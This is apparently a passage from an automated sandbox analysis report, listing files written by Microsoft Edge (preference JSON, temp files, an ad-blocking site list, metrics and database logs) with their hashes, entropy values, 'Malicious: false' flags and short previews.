SHA-512:	91050620108438AB32868972BF6596F7EAF33C86AEF432F16F06379A4B35AE42ECBBBD9FEECD387A5A4DE12A2072F832D08E7E74BC1BE46C68F44D2172993686
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3bd9930b-50b7-4007-a85a-1a554be9ccd1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	45678
Entropy (8bit):	6.096019838317595
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kRJaU/zDtoCxa18CbZFoRKcNqXBSs5mPVMJpC9oTV:z/Ps+wsI7ynXoCxdRKKqxSs0P6koTV
MD5:	493261717BD5587FCC8C9C6E53FFD38D
SHA1:	B58488AFD7CC2744A968AB51BA0F3BF50F0ED216
SHA-256:	B7CC3CB5F3F1F977FBB0F818AE4C2683D5E5565CFA4314DAA8A8A6B0E10BD147
SHA-512:	1163C36E78E660AA08D2D4CF804D0CE024F4F5CFA73335CB1F5AACDB46E9915D8ABED6C10B02DAFFABA41D1CB4C7903D8759955076CFB6D026FE263711567BD5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\910a115d-8f38-4899-a8ad-fac7c2bb430c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45143
Entropy (8bit):	6.091622231642866
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kgDaU/zD81t1z/S1iEzfaHKcNqXBSs5mPVMJpC9oTV:z/Ps+wsI7ynRt1z3KKqxSs0P6koTV
MD5:	3B53CF440A871F79E04CCEBE9299A64B
SHA1:	A926AB0687EDD1E6E5223793B1AD36E3DE62E048
SHA-256:	A7217177E33834EC2354CC80AE7DAA0CA01B2A9ECDB8022B4CC7EBDF90E86003
SHA-512:	8A39128758D2F0E400623ABE165C74DB631E98F0FB05A432355B3EAC50FA87571D7EDE50A816177B17E66119E0FBDC001B48B962CF58B107F22501334EF7D580
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9530c331-9355-43d5-a1ea-3dd30cd6c954.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	47113
Entropy (8bit):	6.08953807166969
Encrypted:	false
SSDEEP:	768:7MkbJ6eg6KzhXRLrDn5I0aU/zDtoCxIciTrPsBtlOrAg6C9o98KcNqXBSs5mPVMD:7Mk16zRRvDnloCxDBtwrGkoGKKqxSs08
MD5:	90B0CAFD82D99640A62A1E1E56A98F09
SHA1:	CE7B49BA8A5FE10727E90C33F8600AA36FB2C097
SHA-256:	564E171566B99EB22925C559898FBEAA56DD2DF59E0B23BE986CE932297B022A
SHA-512:	4659EFD0E7ADB19C4E8AE3C570379F7DAA47F31B069DA6E7B273421C4277798FEF957DACC030DACFA587447D8BAC40B7467F21497CA6249A451AD0F06679CF8C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"4cde6d03-ed1b-4b64-9832-279d036ea697"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1737661213"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9bce52c0-ac5d-4318-aa18-a6474bd83735.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45678
Entropy (8bit):	6.096019838317595
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kRJaU/zDtoCxa18CbZFoRKcNqXBSs5mPVMJpC9oTV:z/Ps+wsI7ynXoCxdRKKqxSs0P6koTV
MD5:	493261717BD5587FCC8C9C6E53FFD38D
SHA1:	B58488AFD7CC2744A968AB51BA0F3BF50F0ED216
SHA-256:	B7CC3CB5F3F1F977FBB0F818AE4C2683D5E5565CFA4314DAA8A8A6B0E10BD147
SHA-512:	1163C36E78E660AA08D2D4CF804D0CE024F4F5CFA73335CB1F5AACDB46E9915D8ABED6C10B02DAFFABA41D1CB4C7903D8759955076CFB6D026FE263711567BD5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640152642343929
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7U:fwUQC5VwBIiElEd2K57P7U
MD5:	628C9E9C9240CB5D8854F4E737E8E3E1
SHA1:	D42A042A0E06415AA7215728C7F5DE6DF4517DDD
SHA-256:	DEC06B922CB3636605946E641FBEA8A92E9FAE1F1F05ABB4C5A007327D83FF0A
SHA-512:	E0F071D560AA10728058BC0F67A4A210F7BA606873F562429E8C682B495B094AC5F67B5EAE03A7C35638402B7B0A681AFB2DB52CA55622C5BF3A167D16763649
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\f20a9f9c-cb4d-4e20-b89f-5b853db907d1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640152642343929
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7U:fwUQC5VwBIiElEd2K57P7U
MD5:	628C9E9C9240CB5D8854F4E737E8E3E1
SHA1:	D42A042A0E06415AA7215728C7F5DE6DF4517DDD
SHA-256:	DEC06B922CB3636605946E641FBEA8A92E9FAE1F1F05ABB4C5A007327D83FF0A
SHA-512:	E0F071D560AA10728058BC0F67A4A210F7BA606873F562429E8C682B495B094AC5F67B5EAE03A7C35638402B7B0A681AFB2DB52CA55622C5BF3A167D16763649
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67929B18-16C8.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4560521414913574
Encrypted:	false
SSDEEP:	3072:LTw2sjRT+0WA6XiEKbcPkcMfoXvpfszqEzoq/fdZOG0VKTWg1HFt:Y2sts1Kb+kcMGv12zoqbOG0VKTWaH/
MD5:	002CF4AB507A8B1C32C96248A1B0D873
SHA1:	5CF43AA236592B7BEDC66CD029BF9933D161690D
SHA-256:	CAD60D3DB51B8ACF484DAC64050AD9E9FF37DC753C9B3296EC440B9E89AD4C05
SHA-512:	ADC456AC9DDFB9E1F3DA9726C8B11FF26436499ADD7326281CE73A61DC1E32CE60D2F697F7E555051EB733FD5848C59993A0C1E1123D24BBCB5BCA1B2BE3EA3C
Malicious:	false
Preview:	...@..@...@.....C.].....@...............x...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".dqaklp20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............;..................'...w..U?:K...G...W6.>.........."....."...2b.."."uL36CggtgihmXub3ey/CfYlrxHT8JN1zVTSZoHr/qO4="."dWQPqePn/OMI8RneZVlZAjZTc+RQSFXvu8x1G+j9sYY=":............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...2.%...@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	5.131562513881722
Encrypted:	false
SSDEEP:	6:o1QSsxXanQEtBpbjXrwuPwBVsJDW1mAZNUl/g:4fs2VnHXrwaJSLv8
MD5:	C94E888865B54A25B13FD039BCE42E6A
SHA1:	A21E0C693257B08D68BA3BD2E031D4B523FE66DB
SHA-256:	32D6FCD4027B02E9E81AD6141B4615AE2391B034D1EB44C4BD12BCCE691ED3CE
SHA-512:	7C214F673E01CE96A010C17C832FD35EE9DC160DA9F0D2948DBF6404402A3E4A709F7D00C3B49CAF45B43F97FDCF0CA57BEDAC6D730ED5420022FC5ED4900E2A
Malicious:	false
Preview:	sdPC........................1AN......."uL36CggtgihmXub3ey/CfYlrxHT8JN1zVTSZoHr/qO4=".................."qZK3WOIi29Is62HN0v/hXoM2xTUbHEou4e1TEYiRMgk="..................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................397206a2-e27c-4a59-9127-fe763d6ab119............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\00b6fbc7-2676-409b-9713-42e2c5981891.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.560556978788854
Encrypted:	false
SSDEEP:	768:DkvMIx7pLGLha8WPsefc48F1+UoAYDCx9Tuqh0VfUC9xbog/OVo3QHM4Qrwqa9QO:DkvMIncha8WPsefc4u1jaZ3Qs4hqa94U
MD5:	4543BC7BF60F5777ED9A1991E6E6458C
SHA1:	A03326A916290E1D3056249D5BFBC69DE9D37D81
SHA-256:	B7B497F589B7FE972ACEE9468F2A1D4D1FC75883FDBFA3745A84C32275C12F03
SHA-512:	36A93F8337B042FD84FA368C3234EF2E0073043EABB18D6D115E1DA04D38EEE62D643B395B954959F5323BAF8656FBC7FD470058279BFB7B5947133DA1850994
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13382134808427174","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13382134808427174","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\22b87089-199e-4329-98fc-ba157e9af960.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\38ee5717-0148-4f13-b4c3-7b17a57a002b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12982
Entropy (8bit):	5.205350643670113
Encrypted:	false
SSDEEP:	192:stKJ99QTryDiuabatSuypssIs65WU8MklQMEu8abV+FUxQwP5oVQP5YJ:stKPGQSu4ssIs6+OobGUQwmVP
MD5:	FE42B7E378E37CABCAA121A9C645E79A
SHA1:	6991365D766BA826BE463B67B7501F248451D00F
SHA-256:	A7940CDC8ABE2379B7FEA7ED1DC0B72E2E1E3CFAB72928F4A20A091B640FD99D
SHA-512:	46C8E9464575011A4E38E79CC430AF3792BE8B38FF5DA49E734CE9B793A53B197721816496B2B461140F0E67DC10D2E62AC222AF1D00AA1A9D9B13847C79941F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13382134809377565","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340982026942753","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\76c0a943-597c-4c73-bfde-223f14fdb48b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.554205011122867
Encrypted:	false
SSDEEP:	768:DkvMIx7pLGLha8WPsefc48F1+UoAYDCx9Tuqh0VfUC9xbog/OVtHM4Qrwqa9mqK4:DkvMIncha8WPsefc4u1jaEs4hqa9jttd
MD5:	989104648EBD524860617628A5B77828
SHA1:	CEB47B1446FAE21AF6BBCCD7CE2BB47057341AEE
SHA-256:	295508051255B5EC76856FCCF5B96B77A29B0330D2637F4E679420E4E735D00C
SHA-512:	F6B0062E3684F513D9E865BC2CAC41D7D13F6D8B50109851A7F037BF1C5F63250A832D77C72F1DCCA6D3E5B4BF33C92CEBCAE746FF849E86A35808900F2729D2
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13382134808427174","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13382134808427174","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7a8523d4-feed-4b57-8cc3-270459b3627e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13429
Entropy (8bit):	5.223978224081467
Encrypted:	false
SSDEEP:	192:stKJ99QTryDiuabatSuypssIs65WU8Mk7UMYou8abV+FUxQwP5oVQP5YJ:stKPGQSu4ssIs6+bU3bGUQwmVP
MD5:	91A96EEF3BDFF4A370EBD1B1C83B293B
SHA1:	131ECCD0D8C3897124B82FF015022B827BC44A85
SHA-256:	BF5987868D931A1EC0C4264B3FD767A96B06BF84C76703BE83FC8AE80BF8E823
SHA-512:	A37DF521F649D22650EFBAD0DD4028081B46EB37629DFEB2EDFB169397BEB9A0019A145213D500823742142EC103542474AA7073DCC44A77764D0F646411404F
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13382134809377565","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340982026942753","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
